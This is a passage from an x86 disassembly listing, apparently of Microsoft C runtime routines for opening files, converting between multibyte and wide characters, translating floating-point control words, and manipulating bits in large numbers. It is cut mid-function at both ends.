		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2730896h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2680000h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 2690C56h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		nop
		call	near ptr 26007F7h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26007F7h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2700000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2700000h
		nop
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 28510E6h
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		call	near ptr 2700000h
		nop
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
